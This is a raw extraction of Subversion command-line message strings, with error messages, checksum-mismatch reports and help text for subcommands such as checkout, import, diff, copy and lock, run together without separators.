'%s'Can't truncate streamCan't ungrab DSO mutexCan't ungrab FS mutexCan't ungrab FSFS mutex for '%s'Can't ungrab FSFS txn list mutexCan't unlock cache mutexCan't unlock charset translation mutexCan't unlock nonlocked transaction '%s'Can't unlock prototype revision lockfile for transaction '%s'Can't unlock unknown transaction '%s'Can't write to '%s'Can't write to connectionCan't write to file '%s'Can't write to streamCannot accept '%s' property because it is not encoded in UTF-8Cannot accept non-LF line endings in '%s' propertyCannot both exclude and switch a pathCannot calculate blame information for binary file '%s'Cannot change node kindCannot commit both '%s' and '%s' as they refer to the same URLCannot compare file contents between two different filesystemsCannot compare property value between two different filesystemsCannot copy between two different filesystems ('%s' and '%s')Cannot copy or move '%s': it is not in the repository yet; try committing firstCannot copy path '%s' into its own child '%s'Cannot copy revprops for a revision (%ld) that has not been synchronized yetCannot copy to '%s' as it is scheduled for deletionCannot copy to '%s', as it is not from repository '%s'; it is from '%s'Cannot crop '%s': it is a switched pathCannot crop '%s': it is going to be removed from repository. Try commit insteadCannot delete a file externalCannot deltify revisions prior to r%ldCannot determine revision of working copyCannot display: file marked as a binary type.%sCannot exclude current directoryCannot exclude root directoryCannot find a URL for '%s'Cannot initialize a repository with content in itCannot insert a file external from '%s' into a working copy from a different repository rooted at '%s'Cannot invoke editor to get log message when non-interactiveCannot mix repository and working copy sourcesCannot modify transaction named '%s' in filesystem '%s'Cannot move URL '%s' into itselfCannot move a file externalCannot move path '%s' into itselfCannot move the file external at '%s'; please propedit the svn:externals description that created itCannot negotiate authentication mechanismCannot non-recursively commit a directory deletion of a directory with child nodesCannot reintegrate into a working copy not entirely at infinite depthCannot reintegrate into a working copy that has local modificationsCannot reintegrate into a working copy with a switched subtreeCannot reintegrate into mixed-revision working copy; try updating firstCannot remove the file external at '%s'; please propedit or propdel the svn:externals description that created itCannot replace a directory from withinCannot reverse-merge a range from a path's own future history; try updating firstCannot revert '%s': unsupported entry node kindCannot revert '%s': unsupported node kind in working copyCannot revert addition of current directory; please try again from the parent directoryCannot revert unversioned item '%s'Cannot set '%s' on a directory ('%s')Cannot set '%s' on a file ('%s')Cannot specify a revision range with two URLsCannot specify revision for deleting versioned property '%s'Cannot specify revision for editing versioned property '%s'Cannot specify revision for setting versioned property '%s'Cannot specify revisions (except HEAD) with move operationsCannot unlock path '%s', no authenticated username availableCannot use --username or --password with any of --source-username, --source-password, --sync-username, or --sync-password.
Cannot verify lock on path '%s'; no matching lock-token availableCannot verify lock on path '%s'; no username availableCannot write lock/entries hashfile '%s'Cannot write property hash for '%s'Cannot write to the prototype revision file of transaction '%s' because a previous representation is currently being written by another processCannot write to the prototype revision file of transaction '%s' because a previous representation is currently being written by this processCapability entry is not a wordCaught signalCease invocation of this APICertificate information:
 - Hostname: %s
 - Valid: from %s until %s
 - Issuer: %s
 - Fingerprint: %s
Changed paths:
Changed-path entry not a listChangelist doesn't matchChangelist names must not be emptyChangelist: %s
Check out a working copy from a repository.
usage: checkout URL[@REV]... [PATH]

  If specified, REV determines in which revision the URL is first
  looked up.

  If PATH is omitted, the basename of the URL will be used as
  the destination. If multiple URLs are given each will be checked
  out into a sub-directory of PATH, with the name of the sub-directory
  being the basename of the URL.

  If --force is used, unversioned obstructing paths in the working
  copy destination do not automatically cause the check out to fail.
  If the obstructing path is the same type (file or directory) as the
  corresponding path in the repository it becomes versioned but its
  contents are left 'as-is' in the working copy.  This means that an
  obstructing directory's unversioned children may also obstruct and
  become versioned.  For files, any content differences between the
  obstruction and the repository are treated like a local modification
  to the working copy.  All properties from the repository are applied
  to the obstructing path.

  See also 'svn help update' for a list of possible characters
  reporting the action taken.
Checked out external at revision %ld.
Checked out revision %ld.
Checkout complete.
Checksum mismatch for '%s':
   expected checksum:  %s
   actual checksum:    %s
Checksum mismatch for '%s'; expected: '%s', actual: '%s'Checksum mismatch for '%s'; recorded: '%s', actual: '%s'Checksum mismatch for resulting fulltext
(%s):
   expected checksum:  %s
   actual checksum:    %s
Checksum mismatch indicates corrupt text base: '%s'
   expected:  %s
     actual:  %s
Checksum mismatch on rep '%s':
   expected:  %s
     actual:  %s
Checksum mismatch while reading representation:
   expected:  %s
     actual:  %s
Checksum mismatch, file '%s':
   expected:  %s
     actual:  %s
Checksum mismatch, rep '%s':
   expected:  %s
     actual:  %s
Checksum: %s
Client certificate filename: Client/server version mismatchCommand 'finish-replay' invalid outside of replaysComment (%i line):
%s
Comment (%i lines):
%s
Comment (%i line):
%s

Comment (%i lines):
%s

CommitCommit an unversioned file or tree into the repository.
usage: import [PATH] URL

  Recursively commit a copy of PATH to URL.
  If PATH is omitted '.' is assumed.
  Parent directories are created as necessary in the repository.
  If PATH is a directory, the contents of the directory are added
  directly under URL.
  Unversionable items such as device files and pipes are ignored
  if --force is specified.
Commit created rev %ld but should have created %ldCommit failed (details follow):Commit item '%s' has copy flag but an invalid revisionCommit item '%s' has copy flag but no copyfrom URLCommit succeeded, but other errors follow:Commit succeeded, but post-commit hook failedCommitted revision %ld.
Committing in directory scheduled for additionCompression of svndiff data failedConfig error: invalid boolean value '%s' for '%s'Config error: invalid boolean value '%s' for '[%s] %s'Config error: invalid integer value '%s'Config error: invalid value '%s' for option '%s'Conflict Current Base File: %s
Conflict Previous Base File: %s
Conflict Previous Working File: %s
Conflict Properties File: %s
Conflict at '%s'Conflict callback violated API: returned no merged fileConflict callback violated API: returned no merged file.Conflict callback violated API: returned no resultsConflict callback violated API: returned no results.Conflict discovered in '%s'.
Conflict discovered when trying to add '%s'.
An object of the same name already exists.
Conflict for property '%s' discovered on '%s'.
Conflict resolution failedCopied From Rev: %ld
Copied From URL: %s
Copied properties for revision %ld (%s* properties skipped).
Copied properties for revision %ld.
Copied: %s (from rev %ld, %s)
Copy from mutable tree not currently supportedCopy source checksum mismatch on copy from '%s'@%ld
 to '%s' in rev based on r%ld:
   expected:  %s
     actual:  %s
Copyfrom-url '%s' has different repository root than '%s'Copying from transactions not allowedCopyright (C) 2000-2009 CollabNet.
Subversion is open source software, see http://subversion.tigris.org/
This product includes software developed by CollabNet (http://www.Collab.Net/).

Corrupt DB: faulty predecessor countCorrupt DB: initial copy id not '0' in filesystem '%s'Corrupt DB: initial revision number is not '0' in filesystem '%s'Corrupt DB: initial transaction id not '0' in filesystem '%s'Corrupt current fileCorrupt entry in 'copies' table for '%s' in filesystem '%s'Corrupt entry in 'transactions' table for '%s' in filesystem '%s'Corrupt filesystem revision %ld in filesystem '%s'Corrupt lock in 'locks' table for '%s' in filesystem '%s'Corrupt lockfile for path '%s' in filesystem '%s'Corrupt node-id in node-revCorruption detected whilst reading delta chain from representation '%s' to '%s'Could not create top-level directoryCould not fetch the Version Resource URL (needed during an import or when it is missing from the local, cached props)Could not find end of line in range list line in '%s'Could not get content-type from responseCould not initialize the SASL libraryCould not lookup hostname `%s'Could not obtain the list of SASL mechanismsCould not parse mergeinfo string '%s'Could not save fileCould not save the URL of the version resourceCould not use external editor to fetch log message; consider setting the $SVN_EDITOR environment variable or using the --message (-m) or --file (-F) optionsCould not write svndiff to temp fileCouldn't determine absolute path of '%s'Couldn't do property mergeCouldn't find a repositoryCouldn't obtain the authenticated usernameCouldn't open a repositoryCouldn't open logCouldn't perform atomic initializationCreate a new directory under version control.
usage: 1. mkdir PATH...
       2. mkdir URL...

  Create version controlled directories.

  1. Each directory specified by a working copy PATH is created locally
    and scheduled for addition upon the next commit.

  2. Each directory specified by a URL is created in the repository via
    an immediate commit.

  In both cases, all the intermediate directories must already exist,
  unless the --parents option is given.
Create an unversioned copy of a tree.
usage: 1. export [-r REV] URL[@PEGREV] [PATH]
       2. export [-r REV] PATH1[@PEGREV] [PATH2]

  1. Exports a clean directory tree from the repository specified by
     URL, at revision REV if it is given, otherwise at HEAD, into
     PATH. If PATH is omitted, the last component of the URL is used
     for the local directory name.

  2. Exports a clean directory tree from the working copy specified by
     PATH1, at revision REV if it is given, otherwise at WORKING, into
     PATH2.  If PATH2 is omitted, the last component of the PATH1 is used
     for the local directory name. If REV is not specified, all local
     changes will be preserved.  Files not under version control will
     not be copied.

  If specified, PEGREV determines in which revision the target is first
  looked up.
Created: %s
Creating DAV sandbox dirCreating authz fileCreating conf directoryCreating db lock fileCreating db logs lock fileCreating hook directoryCreating lock dirCreating passwd fileCreating post-commit hookCreating post-revprop-change hookCreating pre-commit hookCreating pre-revprop-change hookCreating start-commit hookCreating svnserve.conf fileCredential data unavailableCredentials not savedDAV request failed; it's possible that the repository's pre-revprop-change hook either failed or is non-existentData cannot be safely XML-escapedDecompression of svndiff data failedDefault entry has no revision numberDefault entry is missing URLDefault: '-u'. When Subversion is invoking an
                             external diff program, ARG is simply passed along
                             to the program. But when Subversion is using its
                             default internal diff implementation, or when
                             Subversion is displaying blame annotations, ARG
                             could be any of the following:
                                -u (--unified):
                                   Output 3 lines of unified context.
                                -b (--ignore-space-change):
                                   Ignore changes in the amount of white space.
                                -w (--ignore-all-space):
                                   Ignore all white space.
                                --ignore-eol-style:
                                   Ignore changes in EOL styleDefault: '-u'. When Subversion is invoking an
                             external diff program, ARG is simply passed along
                             to the program. But when Subversion is using its
                             default internal diff implementation, or when
                             Subversion is displaying blame annotations, ARG
                             could be any of the following:
                                -u (--unified):
                                   Output 3 lines of unified context.
                                -b (--ignore-space-change):
                                   Ignore changes in the amount of white space.
                                -w (--ignore-all-space):
                                   Ignore all white space.
                                --ignore-eol-style:
                                   Ignore changes in EOL style.
                                -p (--show-c-function):
                                   Show C function name in diff output.Delete failed: directory has no entry '%s'DeletedDeleted: %s
Deleted: %s%sDeleting       %s
Delta depth 'exclude' not supportedDelta does not contain enough new dataDelta does not fill the target windowDelta property block detected - not supported by svndumpfilterDeltifying revision %ld...Depth 'exclude' not supported for linkDepth: INVALID
Depth: empty
Depth: files
Depth: immediates
Describe the usage of this program or its subcommands.
usage: help [SUBCOMMAND...]
Describe the usage of this program or its subcommands.
usage: svndumpfilter help [SUBCOMMAND...]
Destination '%s' already existsDestination '%s' is not a directoryDestination HEAD (%ld) is not the last merged revision (%ld); have you committed to the destination without using svnsync?Destination URLs are brokenDestination directory exists, and will not be overwritten unless forcedDestination directory exists; please remove the directory or use --force to overwriteDestination directory of add-with-history is missing a URLDestination repository has not been initializedDestination repository is already synchronizing from '%s'Did not expect '%s' to be a working copy rootDidn't receive end marker for lock responsesDidn't receive end marker for unlock responsesDiff data source modified unexpectedlyDiff version inconsistencies in representation '%s'Directory '%s' containing working copy admin area is missingDirectory '%s' has no THIS_DIR entryDirectory '%s' has no URLDirectory '%s' is missingDirectory '%s' is out of dateDirectory '%s' is out of date; try updatingDirectory entry corruptDirectory needs to be empty but is notDirlist element not a listDisabled repository featureDisplay information about a local or remote item.
usage: info [TARGET[@REV]...]

  Print information about each TARGET (default: '.').
  TARGET may be either a working-copy path or URL.  If specified, REV
  determines in which revision the target is first looked up.
Display merge-related information.
usage: mergeinfo SOURCE[@REV] [TARGET[@REV]]

  Display information related to merges (or potential merges) between
  SOURCE and TARGET (default: '.').  If the --show-revs option
  is not provided, display revisions which have been merged from
  SOURCE to TARGET; otherwise, display the type of information
  specified by the --show-revs option.
Display the differences between two revisions or paths.
usage: 1. diff [-c M | -r N[:M]] [TARGET[@REV]...]
       2. diff [-r N[:M]] --old=OLD-TGT[@OLDREV] [--new=NEW-TGT[@NEWREV]] \
               [PATH...]
       3. diff OLD-URL[@OLDREV] NEW-URL[@NEWREV]

  1. Display the changes made to TARGETs as they are seen in REV between
     two revisions.  TARGETs may be all working copy paths or all URLs.
     If TARGETs are working copy paths, N defaults to BASE and M to the
     working copy; if URLs, N must be specified and M defaults to HEAD.
     The '-c M' option is equivalent to '-r N:M' where N = M-1.
     Using '-c -M' does the reverse: '-r M:N' where N = M-1.

  2. Display the differences between OLD-TGT as it was seen in OLDREV and
     NEW-TGT as it was seen in NEWREV.  PATHs, if given, are relative to
     OLD-TGT and NEW-TGT and restrict the output to differences for those
     paths.  OLD-TGT and NEW-TGT may be working copy paths or URL[@REV].
     NEW-TGT defaults to OLD-TGT if not specified.  -r N makes OLDREV default
     to N, -r N:M makes OLDREV default to N and NEWREV default to M.

  3. Shorthand for 'svn diff --old=OLD-URL[@OLDREV] --new=NEW-URL[@NEWREV]'

  Use just 'svn diff' to display local modifications in a working copy.
Do not display filtering statistics.Don't filter revision properties.Don't know anything about capability '%s'Don't know how to handle '%s' for capability '%s'Dropped %d node:
Dropped %d nodes:
Dropped %d revision.

Dropped %d revisions.

Dump stream contains a malformed header (with no ':') at '%.20s'Dump stream contains a malformed header (with no value) at '%.20s'Dumpstream data appears to be malformedDuplicate something in working copy or repository, remembering
history.
usage: copy SRC[@REV]... DST

When copying multiple sources, they will be added as children of DST,
which must be a directory.

  SRC and DST can each be either a working copy (WC) path or URL:
    WC  -> WC:   copy and schedule for addition (with history)
    WC  -> URL:  immediately commit a copy of WC to URL
    URL -> WC:   check out URL into WC, schedule for addition
    URL -> URL:  complete server-side copy;  used to branch and tag
  All the SRCs must be of the same type.

WARNING: For compatibility with previous versions of Subversion,
copies performed using two working copy paths (WC -> WC) will not
contact the repository.  As such, they may not, by default, be able
to propagate merge tracking information from the source of the copy
to the destination.
Edit a property with an external editor.
usage: 1. propedit PROPNAME TARGET...
       2. propedit PROPNAME --revprop -r REV [TARGET]

  1. Edits versioned prop in working copy or repository.
  2. Edits unversioned remote prop on repos revision.
     TARGET only determines which repository to access.

See 'svn help propset' for more on setting properties.
Either a URL or versioned item is requiredEmpty 'victim' field in tree conflict descriptionEmpty error listEmpty noderev in cacheEnd revision %ld is invalid (youngest revision is %ld)Entry '%s' has illegal scheduleEntry '%s' has invalid '%s' valueEntry '%s' has invalid depthEntry '%s' has invalid node kindEntry '%s' has no URLEntry '%s' has unexpectedly changed special statusEntry '%s' is already under version controlEntry already existsEntry contains non-canonical path '%s'Entry for '%s' exists (though the working file is missing)Entry for '%s' has invalid repository rootEntry for '%s' has no URLEntry for '%s' is marked as 'copied' but is not itself scheduled
for addition.  Perhaps you're committing a target that is
inside an unversioned (or not-yet-versioned) directory?Entry has an invalid attributeEntry has no URLEntry has no revisionError aborting reportError at entry %d in entries file for '%s':Error bumping revisions post-commit (details follow):Error calling external programError closing directory '%s'Error closing filesystemError closing null fileError closing read end of stderr pipeError closing write end of stderr pipeError comparing '%s' and '%s'Error converting depth from locale to UTF-8Error converting entry in directory '%s' to UTF-8Error copying logfile;  the DB_LOG_AUTOREMOVE feature
may be interfering with the hotcopy algorithm.  If
the problem persists, try deactivating this feature
in DB_CONFIGError during add of '%s'Error during recursive copy of '%s'Error getting 'affected time' for '%s'Error getting 'affected time' of '%s'Error getting 'affected time' on '%s'Error getting UID of processError getting file size on '%s'Error handling externals definition for '%s':Error in child process: %sError in post-commit clean-up (details follow):Error initializing command line argumentsError modifying entry for '%s'Error modifying entry of '%s'Error normalizing edited contents to internal formatError normalizing log message to internal formatError opening db lockfileError parsing %s property on '%s': '%s'Error parsing '%s'Error parsing argumentsError parsing diff optionsError parsing memcache server '%s'Error parsing revision numberError parsing tree conflict skelError processing command '%s' in '%s'Error reading changes for key '%s'Error reading spooled %s request responseError recording tree conflicts in '%s'Error removing changelist from entry '%s'Error removing lock from entry for '%s'Error replacing text-base of '%s'Error resolving case of '%s'Error restoring text for '%s'Error retrieving REPORT (%d)Error retrieving replay REPORT (%d)Error running '%s':  exitcode was %d, args were:
in directory '%s', basenames:
%s
%s
%sError running catastrophic recovery on hotcopy;  the
DB_LOG_AUTOREMOVE feature may be interfering with the
hotcopy algorithm.  If the problem persists, try deactivating
this feature in DB_CONFIGError running editor.Error running editor; leaving all conflicts.Error running merge tool.Error running merge tool; leaving all conflicts.Error running post-commit hookError running post-lock hookError running post-unlock hookError setting property '%s': Error unlocking locked dirs (details follow):Error validating server certificate for '%s':
Error waiting for process '%s'Error writing entries file for '%s'Error writing hash to '%s'Error writing log for '%s'Error writing stream: unexpected EOFError writing to '%s'Error writing to '%s': unexpected EOFExactly one file argument requiredExactly one property name and one file argument requiredExcluding (and dropping empty revisions for) prefixes:
Excluding prefixes:
Expected '%s' to be a directory but found a fileExpected '%s' to be a file but found a directoryExpected 'revprops', found '%s'Expected FS format '%d'; found format '%d'Expected FS format between '1' and '%d'; found format '%d'Expected SQLite database not found: %sExpected a valid revnum and pathExpected current rev to be <= %ld but found %ldExpected database row missingExpected repository format '%d' or '%d'; found format '%d'Expected valid revision rangeExpires: %s
Explicit target argument requiredExplicit target required ('%s' interpreted as prop value)Export complete.
Exported external at revision %ld.
Exported revision %ld.
External at revision %ld.
External checkout complete.
External export complete.
External update complete.
Extra database row foundFS format too old to pack, please upgrade.Failed to add directory '%s': a non-directory object of the same name already existsFailed to add directory '%s': a versioned directory of the same name already existsFailed to add directory '%s': an unversioned directory of the same name already existsFailed to add directory '%s': copyfrom arguments not yet supportedFailed to add directory '%s': object of the same name as the administrative directoryFailed to add file '%s': a non-file object of the same name already existsFailed to add file '%s': an unversioned file of the same name already existsFailed to calculate MD5 digest for '%s'Failed to connect to Service Control ManagerFailed to create winservice_start_eventFailed to delete mmap '%s'Failed to execute WebDAV PROPPATCHFailed to fetch lock informationFailed to find label '%s' for URL '%s'Failed to find time on revision %ldFailed to get exclusive repository access; perhaps another process
such as httpd, svnserve or svn has it open?Failed to get lock on destination repos, currently held by '%s'
Failed to get new string keyFailed to load module for FS type '%s'Failed to load properties from diskFailed to locate 'copyfrom' path in working copyFailed to mark '%s' absent: item of the same name is already scheduled for additionFailed to parse URI '%s'Failed to revert '%s' -- try updating instead.
Failed to run '%s' hook; broken symlinkFailed to start '%s' hookFailed to write full amount to streamFailed writing updated fileFailure loading pluginFailure opening '%s'Failure reading rep '%s'File '%s' already existsFile '%s' has binary mime type propertyFile '%s' has inconsistent newlinesFile '%s' has local modificationsFile '%s' in directory '%s' is not a versioned resourceFile '%s' is out of dateFile '%s' is out of date; try updatingFile already exists: filesystem '%s', revision %ld, path '%s'File already exists: filesystem '%s', transaction '%s', path '%s'File is not mutable: filesystem '%s', revision %ld, path '%s'File not found: revision %ld, path '%s'File not found: transaction '%s', path '%s'File or directory '%s' is out of date; try updatingFilesystem directory has no such entryFilesystem has no itemFilesystem has no such checksum-representation index recordFilesystem has no such copyFilesystem has no such lockFilesystem has no such node origin recordFilesystem has no such node-rev-idFilesystem has no such representationFilesystem has no such stringFilesystem is already openFilesystem is corruptFilesystem is not openFilesystem object already openFilesystem object has not been opened yetFilesystem path '%s' is neither a file nor a directoryFilesystem upgrade is not supportedFilter out nodes with given prefixes from dumpstream.
usage: svndumpfilter exclude PATH_PREFIX...
Filter out nodes without given prefixes from dumpstream.
usage: svndumpfilter include PATH_PREFIX...
Final line in revision file longer than 64 charactersFinal line in revision file missing spaceFirst line of '%s' contains non-digitFirst revision cannot be higher than secondFormat file '%s' contains an unexpected non-digitFormat of an svn:externals property was invalidFound a working copy pathFound an unexpected \0 in the file external '%s'Found malformed header in revision fileFraming error in pipe protocolGET request failed: %d %sGeneral filesystem errorGot apply-textdelta element without preceding add-file or open-fileGot cdata content for a prop deleteGot close-directory element without ever opening a directoryGot close-file element without preceding add-file or open-fileGot source path but no source revision for '%s'Got unrecognized encoding '%s'HTTP Path Not FoundIllegal file external revision kind %d for path '%s'Illegal parent directory URL '%s'Illegal repository URL '%s'Illegal repository root URL '%s'Illegal svn repository URL '%s'Illegal target for the requested operationImpossibly long repository root from serverImproper relative URL '%s'In directory '%s'In file '%s' line %d: assertion failed (%s)In file '%s' line %d: internal malfunctionIncluding (and dropping empty revisions for) prefixes:
Including prefixes:
Incompatible library versionIncomplete dataIncomplete lock data returnedIncomplete or unterminated property blockInconsistent line ending styleIncorrect arguments suppliedIncorrect parameters givenIndexInitialization of SSPI library failedInput/output errorInquiry about unknown capabilityInter-repository relocation not allowedInternal error: there is an unknown parent (%d) for the 'DAV:response' element within the MERGE responseInvalid %s property on '%s': cannot use a URL '%s' as the target directory for an external definitionInvalid %s property on '%s': cannot use two absolute URLs ('%s' and '%s') in an external; one must be a path where an absolute or relative URL is checked out toInvalid %s property on '%s': target '%s' is an absolute path or involves '..'Invalid 'conflict_result' argumentInvalid 'format' attributeInvalid 'node_kind' field in tree conflict descriptionInvalid URL '%s'Invalid URL: illegal character in proxy port numberInvalid URL: negative proxy port numberInvalid URL: proxy port number greater than maximum TCP port number 65535Invalid argument '%s' in diff optionsInvalid authz configurationInvalid change kind in rev fileInvalid change ordering: new node revision ID without deleteInvalid change ordering: non-add change on deleted pathInvalid change typeInvalid changes line in rev-fileInvalid character '%c' found in range listInvalid character '%c' found in revision listInvalid character in hex checksumInvalid config: illegal character in debug mask valueInvalid config: illegal character in timeout valueInvalid config: negative timeout valueInvalid config: unable to load PKCS#11 provider '%s'Invalid config: unable to load certificate file '%s'Invalid config: unknown HTTP library '%s'Invalid config: unknown http authtype '%s'Invalid config: unknown password store '%s'Invalid configuration valueInvalid conflict info in tree conflict descriptionInvalid control character '0x%02x' in path '%s'Invalid copy source path '%s'Invalid creation date header value in response.Invalid depth (%c) for path '%s'Invalid diff stream: [new] insn %d overflows the new data sectionInvalid diff stream: [src] insn %d overflows the source viewInvalid diff stream: [tgt] insn %d starts beyond the target view positionInvalid diff stream: insn %d cannot be decodedInvalid diff stream: insn %d has non-positive lengthInvalid diff stream: insn %d overflows the target viewInvalid editor anchoring; at least one of the input paths is not a directory and there was no source entryInvalid end revision %ldInvalid entry terminatorInvalid escape sequenceInvalid escaped characterInvalid file or dir token during editInvalid filesystem path syntaxInvalid filesystem revision numberInvalid filesystem transaction nameInvalid length (%%%s) when about to read a stringInvalid lockInvalid operation on the current working directoryInvalid option.

Invalid option; cannot choose based on conflicts for properties.

Invalid option; cannot choose based on conflicts in a binary file.

Invalid option; cannot display conflicts for a binary file.

Invalid option; cannot display conflicts for properties.

Invalid option; original files not available.

Invalid option; there's no merged version to diff.

Invalid option; there's no merged version to edit.

Invalid peg revision %ldInvalid prop-mod flag in rev-fileInvalid relocationInvalid report for top level of working copyInvalid revision number '%ld'Invalid revision number (%ld)Invalid revision number found parsing '%s'Invalid revision number suppliedInvalid revision specifierInvalid scheduleInvalid server response to dated-rev requestInvalid start revision %ldInvalid switchInvalid syntax of argument of --config-optionInvalid target pathInvalid text-mod flag in rev-fileInvalid timeout valueInvalid value (%%%s) for node revision mergeinfo countInvalid value for field '%s'Invalid version info in tree conflict descriptionInvalid version line in entries file of '%s'Item already exists in filesystemItem is not readableItem is not writableItem is out of dateItem is partially readableIteration terminated before completionKindless noderev in cacheLast Changed Author: %s
Last Changed DateLast Changed Rev: %ld
Last Merged Revision: %s
Left locally modified or unversioned filesLine endings other than expectedList all properties on files, dirs, or revisions.
usage: 1. proplist [TARGET[@REV]...]
       2. proplist --revprop -r REV [TARGET]

  1. Lists versioned props. If specified, REV determines in which
     revision the target is first looked up.
  2. Lists unversioned remote props on repos revision.
     TARGET only determines which repository to access.
List directory entries in the repository.
usage: list [TARGET[@REV]...]

  List each TARGET file and the contents of each TARGET directory as
  they exist in the repository.  If TARGET is a working copy path, the
  corresponding repository URL will be used. If specified, REV determines
  in which revision the target is first looked up.

  The default TARGET is '.', meaning the repository URL of the current
  working directory.

  With --verbose, the following fields will be shown for each item:

    Revision number of the last commit
    Author of the last commit
    If locked, the letter 'O'.  (Use 'svn info URL' to see details)
    Size (in bytes)
    Date and time of the last commit
Local URL '%s' contains only a hostname, no pathLocal URL '%s' contains unsupported hostnameLocal URL '%s' does not contain 'file://' prefixLocal, non-commit operations do not take a log message or revision propertiesLocation entry not a listLocation segment entry not a listLocation segment report failed on '%s'@'%ld'LockLock Comment (%i line):
%s
Lock Comment (%i lines):
%s
Lock CreatedLock ExpiresLock Owner: %s
Lock Token: %s
Lock comment contains a zero byteLock comment contains illegal charactersLock comment file is a versioned file; use '--force-log' to overrideLock element not a listLock failed: newer version of '%s' existsLock file '%s' is not a regular fileLock has expiredLock has expired: lock-token '%s' in filesystem '%s'Lock request failed: %d %sLock response not a listLock token is incorrectLock working copy paths or URLs in the repository, so that
no other user can commit changes to them.
usage: lock TARGET...

  Use --force to steal the lock from another user or working copy.
Log command for directory '%s' is mislocatedLog entry missing 'name' attribute (entry '%s' for directory '%s')Log entry not a listLog message contains a zero byteLog message file is a versioned file; use '--force-log' to overrideLog path entry not a stringLog revprop entry not a stringMD5 checksum is missingMD5 checksum mismatch on rep '%s':
   expected:  %s
     actual:  %s
MIME type '%s' contains invalid character '%c'MIME type '%s' does not contain '/'MIME type '%s' has empty media typeMalformed URL for repositoryMalformed UUID '%s'Malformed XML: %s at line %ldMalformed copyfrom line in node-revMalformed copyroot line in node-revMalformed dumpfile headerMalformed dumpstream: Revision 0 must not contain node recordsMalformed error listMalformed fileMalformed network dataMalformed representation headerMalformed skeleton dataMalformed stream dataMalformed svndiff data in representationMalformed text rep offset line in node-revMerge conflict during commitMerge from foreign repository is not compatible with mergeinfo modificationMerge source requiredMerged via:Mergeinfo element is not a listMergeinfo for '%s' maps to an empty revision rangeMergeinfo parse errorMismatch popping the WC unwind stackMismatched FS module version for '%s': found %d.%d.%d%s, expected %d.%d.%d%sMismatched RA version for '%s': found %d.%d.%d%s, expected %d.%d.%d%sMissing 'dest' attribute in '%s'Missing 'left' attribute in '%s'Missing 'realm' attribute in Authorization headerMissing 'revision' attribute for '%s'Missing 'right' attribute in '%s'Missing 'timestamp' attribute in '%s'Missing changed-path information for '%s' in revision %ldMissing copyfrom-rev attr in add-directory elementMissing copyfrom-rev attr in add-file elementMissing cpath in node-revMissing default entryMissing end of line in wcprops file for '%s'Missing entry terminatorMissing id field in node-revMissing kind field in node-revMissing merge source path '%s'; try with --skip-missing-merge-sourcesMissing name attr in %s elementMissing name attr in absent-directory elementMissing name attr in absent-file elementMissing name attr in add-directory elementMissing name attr in add-file elementMissing name attr in delete-entry elementMissing name attr in open-directory elementMissing name attr in open-file elementMissing name attr in remove-prop elementMissing name attr in revprop elementMissing name attr in set-prop elementMissing node-id in node-revMissing path argumentMissing path attr in resource elementMissing propname and repository path argumentsMissing propname argumentMissing propname or repository path argumentMissing repository path argumentMissing required node revision IDMissing required revision specificationMissing rev attr in open-directory elementMissing rev attr in open-file elementMissing rev attr in target-revision elementMissing revisionMissing revision attr in delete-entry elementMissing revision attr in open-directory elementMissing revision attr in open-file elementMissing revision attr in open-root elementMissing revision attr in target-revision elementModifiedModified: %s
Modified: %s%sModule for accessing a repository on local disk.Module for accessing a repository using the svn network protocol.Module for accessing a repository using the svn network protocol.
  - with Cyrus SASL authenticationModule for accessing a repository via WebDAV protocol using Neon.Module for accessing a repository via WebDAV protocol using serf.Module for working with a Berkeley DB repository.Module for working with a plain file (FSFS) repository.Move and/or rename something in working copy or repository.
usage: move SRC... DST

When moving multiple sources, they will be added as children of DST,
which must be a directory.

  Note:  this subcommand is equivalent to a 'copy' and 'delete'.
  Note:  the --revision option has no use and is deprecated.

  SRC and DST can both be working copy (WC) paths or URLs:
    WC  -> WC:   move and schedule for addition (with history)
    URL -> URL:  complete server-side rename.
  All the SRCs must be of the same type.
Moves between the working copy and the repository are not supportedMoving a path from one changelist to anotherMultiple revision arguments encountered; can't specify -c twice, or both -c and -rMultiple revision arguments encountered; try '-r N:M' instead of '-r N -r M'Must specify host and port for memcache server '%s'Must specify the revision as a number, a date or 'HEAD' when operating on a revision propertyMutually exclusive arguments specifiedNULL mergeinfo
NULL mergeinfo catalog
Name does not refer to a filesystem directoryName does not refer to a filesystem fileName is not a single path componentName: %s
Negative expiration date passed to svn_fs_lockNegative revision number found parsing '%s'Neon was unable to parse URL '%s'Network connection closed unexpectedlyNetwork read/write errorNetwork socket initialization failedNew entry name required when importing a fileNo '.' entry in: '%s'No auth file path availableNo authentication provider availableNo changes to property '%s' on '%s'
No changes to property '%s' on revision %ld
No commits in repositoryNo common parent found, unable to operate on disjoint argumentsNo copy with id '%s' in filesystem '%s'No created pathNo default entry in directory '%s'No editor found.No editor found; leaving all conflicts.No external editor availableNo external merge tool availableNo fetch_func supplied to update_editorNo lock on path '%s' in filesystem '%s'No lock token providedNo merge tool found.
No merge tool found; leaving all conflicts.No part of path '%s' was found in repository HEADNo pathname preceding ':'No paths to unlock providedNo record in 'checksum-reps' table for checksum '%s' in filesystem '%s'No record in 'node-origins' table for node id '%s' in filesystem '%s'No such XML tag attributeNo such entry: '%s'No such representation '%s'No such revision %ldNo such revision %ld in filesystem '%s'No such transactionNo token given for path '%s' in filesystem '%s'No transaction named '%s' in filesystem '%s'No user associated with filesystemNo username is currently associated with filesystem '%s'No valid copyfrom revision in filtered streamNo valid revision range 'end' in filtered streamNo valid revision range 'start' in filtered streamNo versioned parent directoriesNo write-lock in '%s'Node Kind: directory
Node Kind: file
Node Kind: none
Node Kind: unknown
Node origin for '%s' exists in filesystem '%s' with a different value (%s) than what we were about to store (%s)Node origin for '%s' exists with a different value (%s) than what we were about to store (%s)Node-revision #'%s' claims to have mergeinfo but doesn'tNode-revision '%s' claims to have mergeinfo but doesn'tNode-revision '%s' claims to sit atop a tree containing mergeinfo but is not a directoryNode-revision '%s@%ld' claims to have mergeinfo but doesn'tNon-ASCII character (code %d) detected, and unable to convert to/from UTF-8Non-numeric change argument (%s) given to -cNon-numeric limit argument givenNon-string as part of file contentsNone of the environment variables SVN_EDITOR, VISUAL or EDITOR are set, and no 'editor-cmd' run-time configuration option was foundNot all required revisions are specifiedNot authorized to open root of edit operationNot enough arguments givenNot enough arguments providedNull rep, but offset past zero alreadyNumber is larger than maximumObject is not a revision rootObject is not a transaction rootObstructed updateOne or more conflicts were produced while merging r%ld:%ld into
'%s' --
resolve all conflicts and rerun the merge to apply the remaining
unmerged revisionsOnly SHA1 checksums can be used as keys in the checksum-reps table.
Only SHA1 checksums can be used as keys in the rep_cache table.
